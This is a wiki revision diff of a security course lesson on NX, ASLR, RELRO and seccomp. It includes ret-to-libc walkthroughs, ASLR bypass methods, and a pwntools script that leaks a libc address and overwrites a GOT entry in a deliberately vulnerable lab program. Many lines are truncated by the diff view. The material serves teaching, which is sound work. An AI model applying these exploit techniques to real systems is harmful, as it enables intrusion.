This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:10 [2020/07/12 17:56] Silvia Pripoae [Bypassing ASLR] |
session:10 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | = 0x09. Defense Mechanisms | + | ====== 0x09. Defense Mechanisms |
- | == Resources | + | ===== Resources |
- | [[http:// | + | [[http:// |
- | [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|Activities archive]] | + | Get the tasks by cloning |
- | == Tutorials | + | |
+ | ===== Tutorials | ||
The previous sessions ([[: | The previous sessions ([[: | ||
Line 24: | Line 25: | ||
</ | </ | ||
- | === Executable Space Protection | + | ===== Tools ===== |
+ | |||
+ | The **checksec** command-line tool is a wrapper over the functionality implemented in pwntools' | ||
+ | |||
+ | We will use this tool throughout the session to identify which defense mechanisms are enabled for a certain binary: | ||
+ | <code bash> | ||
+ | root@kali: | ||
+ | [*] '/ | ||
+ | Arch: | ||
+ | RELRO: | ||
+ | Stack: | ||
+ | NX: NX disabled | ||
+ | PIE: PIE enabled | ||
+ | RWX: Has RWX segments | ||
+ | </ | ||
+ | |||
+ | <note warning> To get it to work in the Kali VM, you have to update pwntools to the latest version using: | ||
+ | < | ||
+ | $ pip install -U pwntools | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | |||
+ | ==== Executable Space Protection | ||
The **executable space protection** is an instance of the **principle of least privilege**, | The **executable space protection** is an instance of the **principle of least privilege**, | ||
Line 46: | Line 70: | ||
There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http:// | There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http:// | ||
- | ==== Walk-through | + | === Walk-through |
The Linux kernel provides support for managing memory protections in the '' | The Linux kernel provides support for managing memory protections in the '' | ||
Line 173: | Line 197: | ||
</ | </ | ||
- | ==== Bypassing NX | + | === Bypassing NX === |
**ret-to-plt/ | **ret-to-plt/ | ||
Line 181: | Line 205: | ||
**Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. | **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. | ||
- | === Address Space Layout Randomization | + | ==== Address Space Layout Randomization |
Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http:// | Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http:// | ||
Line 211: | Line 235: | ||
</ | </ | ||
- | === Bypassing ASLR | + | ==== Bypassing ASLR ==== |
**Bruteforce.** If you are able to inject payloads multiple times without crashing the application, | **Bruteforce.** If you are able to inject payloads multiple times without crashing the application, | ||
Line 224: | Line 248: | ||
**Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables. | **Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables. | ||
- | **Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 12 bits, the exploit is deterministic, | + | **Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 8 bits, the exploit is deterministic, |
<code bash> | <code bash> | ||
gdb-peda$ p read | gdb-peda$ p read | ||
Line 231: | Line 255: | ||
$2 = {<text variable, no debug info>} 0xe6ea0 < | $2 = {<text variable, no debug info>} 0xe6ea0 < | ||
</ | </ | ||
- | Otherwise, we can still try to overwrite a larger part of the address | + | However, since bits 12-16 of the offsets differ, the corresponding bits in the full addresses would have to be bruteforced (probability 1/4). |
**Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., '' | **Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., '' | ||
- | === Tools: ltrace | + | ==== Tutorial: Chaining Information Leaks with GOT Overwrite ==== |
- | We are going to use '' | + | In this tutorial we will exploit a program that is similar |
+ | <code c> | ||
+ | #include < | ||
+ | #include <unistd.h> | ||
- | < | + | int main() { |
- | python -c 'print " | + | int *addr; |
- | </ | + | |
- | If you are more comfortable with another tool feel free to use it. Keep in mind that sometimes addresses change when you are using '' | + | printf(" |
- | === 00. Tutorial - Bypass NX Stack with return-to-libc | + | printf(" |
+ | scanf(" | ||
- | Go to the '' | + | printf(" |
+ | scanf(" | ||
- | In the previous sessions we used stack overflow vulnerabilities to inject new code into a running process | + | sleep(10); |
- | We will try to bypass | + | printf(" |
- | + | } | |
- | < | + | |
- | setarch $(uname -m) -R /bin/bash | + | |
</ | </ | ||
- | Let's take a look at the program headers | + | The goal is to alter the execution flow and avoid reaching |
- | <note important> | + | Whenever we operate with addresses belonging to shared libraries, we must be aware that the offsets are highly dependent on the particular build of the library. We can identify this build either by its BuildID (retrieved with the file command), or by its version string: |
- | The auth binary requires the '' | + | <code bash> |
+ | silvia@imladris:/ | ||
+ | linux-gate.so.1 (0xf7ee8000) | ||
+ | libc.so.6 => /lib/i386-linux-gnu/ | ||
+ | /lib/ld-linux.so.2 (0xf7ee9000) | ||
+ | silvia@imladris:/sss/demo$ file $(realpath /lib/i386-linux-gnu/ | ||
+ | / | ||
+ | silvia@imladris:/ | ||
+ | GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27. | ||
+ | </ | ||
- | You can find '' | + | Alternatively, |
- | </ | + | |
- | <code bash> | + | For example, we have the following pair of addresses: |
- | $ checksec 1-random | + | |
- | [...] | + | |
- | NX: NX enabled | + | |
- | [...] | + | |
- | </ | + | |
- | For completeness, lets check that there is indeed a buffer (stack) overflow vulnerability. | + | |
< | < | ||
- | $ python -c 'print " | + | 0xf7df6250 < |
- | [0x80484f1] __libc_start_main(0x80486af, | + | 0xf7e780e0 |
- | [0x8048601] malloc(20) | + | |
- | [0x80485df] puts(" | + | |
- | ) = 17 | + | |
- | [0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7) | + | |
- | [0x8048652] memset(0x0804b008, | + | |
- | [0x8048671] SHA1(0xbfffee63, | + | |
- | [0x41414141] --- SIGSEGV (Segmentation fault) --- | + | |
- | [0xffffffff] +++ killed by SIGSEGV +++ | + | |
</ | </ | ||
+ | We enter them in the [[https:// | ||
- | Check the source file - the buffer length is '' | + | For this '' |
+ | <code bash> | ||
+ | silvia@imladris:/ | ||
+ | (gdb) p printf | ||
+ | $1 = {<text variable, no debug info>} 0x513a0 < | ||
+ | (gdb) p exit | ||
+ | $2 = {<text variable, no debug info>} 0x30420 < | ||
+ | </ | ||
- | We can now jump anywhere. Unfortunately, | + | We will also need the address |
- | < | + | < |
- | $ python | + | silvia@imladris:/ |
- | [0x80484f1] __libc_start_main(0x80486af, | + | 080483b0 |
- | [0x8048601] malloc(20) | + | 80483b0: ff 25 0c a0 04 08 |
- | [0x80485df] puts(" | + | |
- | ) = 17 | + | |
- | [0x80485ea] gets(0xbfffee63, | + | |
- | [0x8048652] memset(0x0804b008, | + | |
- | [0x8048671] SHA1(0xbfffee63, | + | |
- | [0xbfffee63] --- SIGSEGV (Segmentation fault) --- | + | |
- | [0xffffffff] +++ killed by SIGSEGV +++ | + | |
</ | </ | ||
- | Oh, such a bummer! It didn't work. How about we try to jump to some existing code? | + | |
- | < | + | We start the program and compute the address of exit based on the leak of printf (in another terminal): |
- | $ objdump -d auth | grep -A 15 "< | + | < |
- | 080485ec < | + | >>> |
- | | + | >>> exit_offset = 0x30420 |
- | | + | >>> 0xf7dfb3a0 |
- | | + | 4158497824 |
- | | + | |
- | | + | |
- | 8048601: a3 38 a0 04 08 | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | 804861b: c7 04 24 01 00 00 00 movl | + | |
- | | + | |
- | | + | |
- | 804862d: 89 04 24 | + | |
</ | </ | ||
- | Lets try '' | ||
< | < | ||
- | $ python -c 'print " | + | silvia@imladris:/ |
- | [0x80485df] puts(" | + | Here's a libc address: 0xf7dfb3a0 |
- | ) = 17 | + | Give me and address to modify! |
- | [0x804861b] puts(" | + | 0x804a00c |
- | ) = 14 | + | Give me a value! |
- | [0xffffffff] +++ exited (status 1) +++ | + | 4158497824 |
+ | silvia@imladris:/ | ||
+ | 10 | ||
</ | </ | ||
- | == Challenges | + | As we intended, the GOT entry corresponding to '' |
- | === 01. Challenge - ret-to-libc | + | The following pwntools script automates this interaction: |
+ | <code python> | ||
+ | from pwn import * | ||
- | Looks good! Let's get serious and do something useful with this. | + | p = process('./ |
+ | libc = ELF('/ | ||
- | Continue working in the '' | + | sleep_got = p.elf.got['sleep'] |
- | The final goal of this task is to bypass the NX stack protection and call '' | + | p.recvuntil('libc address:') |
+ | libc_leak = int(p.recvuntil('\n')[:-1], 16) | ||
+ | libc_base = libc_leak | ||
- | - Display all '' | + | print("Libc base is at: 0x%x" |
- | - Return to '' | + | |
- | - Find the offset of the '' | + | |
- | - Make the binary print '' | + | |
- | - **(bonus)** The process should '' | + | |
- | - Remember how we had ASLR disabled? The other '' | + | |
- | - Where is '' | + | |
- | <note important> | + | |
- | //Hint//: Use '' | + | |
- | </ | + | |
- | <note important> | + | exit = libc_base + libc.symbols['exit'] |
- | //Hint//: When you will finally attack this, '' | + | |
- | </ | + | |
- | === 02. Challenge - no-ret-control | + | p.sendline(hex(sleep_got)) |
- | Go to the '' | + | p.recvuntil('value!') |
+ | p.sendline(str(exit)) | ||
- | Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function. | + | p.interactive() |
+ | </ | ||
- | Alter the execution of '' | + | ==== RELRO ==== |
- | === 03. Challenge | + | **RELRO** (**Rel**ocation **R**ead-**O**nly) defends against attacks which overwrite data in relocation sections, such as the GOT-overwrite we showed earlier. |
- | Go to the '' | + | It comes in two flavors: partial and full. Partial RELRO protects |
- | '' | + | In the last session we explained how the addresses of dynamically linked functions are resolved using lazy binding. When Full RELRO is in effect, the addresses are resolved at load-time and then marked as read-only. Due to the way address space protection works, this means that the .got resides in the read-only mapping, instead |
+ | of the read-write mapping that contains the '' | ||
- | Your task is to build an exploit that makes the application | + | This is not a game-over in terms of exploitation, |
- | <code text> | + | ==== seccomp ==== |
- | hari@solyaris-home: | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 2070249950. Have fun with it! | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 1023098942. Have fun with it! | + | |
- | Segmentation fault (core dumped) | + | |
- | hari@solyaris-home: | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 1152946153. Have fun with it! | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 1023098942. Have fun with it! | + | |
- | </ | + | **seccomp** is a mechanism though which an application may transition into a state where the system calls it performs are restricted. The policy, which may act on a whitelist or blacklist model, is described using [[https:// |
- | + | ||
- | You can use this Python skeleton for buffer overflow input: | + | |
- | <file python skel.py> | + | seccomp filters are instated using the '' |
- | # | + | |
- | import struct, sys | + | |
- | def dw(i): | + | This may severely limit our exploitation prospects in some cases. In the challenges that we have solved during these sessions, a common goal was spawning a shell and retrieving a certain file (the flag). If the exploited binary used a seccomp filter that disallowed the '' |
- | return struct.pack("< | + | |
- | #TODO update count for your prog | + | The [[https:// |
- | pad_count_to_ret | + | <code bash> |
- | payload | + | silvia@imladris:/ |
+ | | ||
+ | ================================= | ||
+ | 0000: 0x20 0x00 0x00 0x00000004 | ||
+ | 0001: 0x15 0x00 0x09 0x40000003 | ||
+ | 0002: 0x20 0x00 0x00 0x00000000 | ||
+ | 0003: 0x15 0x07 0x00 0x000000ad | ||
+ | 0004: 0x15 0x06 0x00 0x00000077 | ||
+ | 0005: 0x15 0x05 0x00 0x000000fc | ||
+ | 0006: 0x15 0x04 0x00 0x00000001 | ||
+ | 0007: 0x15 0x03 0x00 0x00000005 | ||
+ | 0008: 0x15 0x02 0x00 0x00000003 | ||
+ | 0009: 0x15 0x01 0x00 0x00000004 | ||
+ | 0010: 0x06 0x00 0x00 0x00050026 | ||
+ | 0011: 0x06 0x00 0x00 0x7fff0000 | ||
+ | </ | ||
- | #TODO figure out where to return | + | In the example above we see a filter operating on the whitelist model: it specifies a subset of syscalls that are allowed: '' |
- | ret_addr = 0xdeadbeef | + | |
- | payload += dw(ret_addr) | + | |
+ | <note tip> | ||
+ | To install seccomp-tools on the Kali VM, use the the gem package manager: | ||
+ | < | ||
+ | $ gem install seccomp-tools | ||
+ | </ | ||
+ | </ | ||
- | #TODO add stuff after the payload if you need to | + | ===== Challenges ===== |
- | payload += "" | + | |
- | sys.stdout.write(payload) | + | ==== 01-04. Challenges - rwslotmachine[1-4] ==== |
- | </ | + | |
- | **Bonus**: The process should SEGFAULT after printing the second (constant) number. Make it exit cleanly (the exit code does not matter, just no SIGSEGV). | + | All of the challenges in this section are intended to be solved with **ASLR enabled**. However, you are free to disable |
- | === 04. Challenge - colors | + | The challenges are based on the same //" |
- | Go to the '' | + | They are numbered |
<note important> | <note important> | ||
- | //Hint//: If you are going to use an inline python command, stdin will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin like this: '' | + | In the case of '' |
</ | </ | ||
- | |||
- | ===== 04.a. | ||
- | |||
- | Exploit the '' | ||
- | |||
- | ===== 04.b. | ||
- | |||
- | ASLR still disabled. Call '' | ||
- | |||
- | ===== 04.c. | ||
- | |||
- | Again, ASLR disabled. Call '' | ||
- | |||
- | |||
- | === 05. Challenge - bruteforce | ||
- | |||
- | Continue working in the '' | ||
- | |||
- | Try the previous exploit with ASLR enabled. You can rerun the binary multiple times. | ||
<note important> | <note important> | ||
- | Figure out how addresses look like using '' | + | To set LD_LIBRARY_PATH from a pwntools script, use this method: |
+ | <code python> | ||
+ | p = process('./rwslotmachineX', env={'LD_LIBRARY_PATH' | ||
+ | </code> | ||
</ | </ | ||
- | < | + | < |
- | The ASLR entropy | + | //Hint//: Do not waste time on reverse engineering '' |
</ | </ | ||
- | === 06. Challenge - mprotect | ||
- | Go to either the '' | + | ==== 05. Bonus - rwslotmachine5 ==== |
- | Using any of the 2 binaries, try to call '' | + | This challenge is similar |
- | < | + | < |
- | To make your life easier, you can disable ASLR. The purpose of this task is to bypass NX, and not ASLR. | + | You can find a table describing x86 syscalls [[http:// |
- | </note> | + | |
- | + | ||
- | <note important> | + | |
- | //Hint//: The '' | + | |
</ | </ |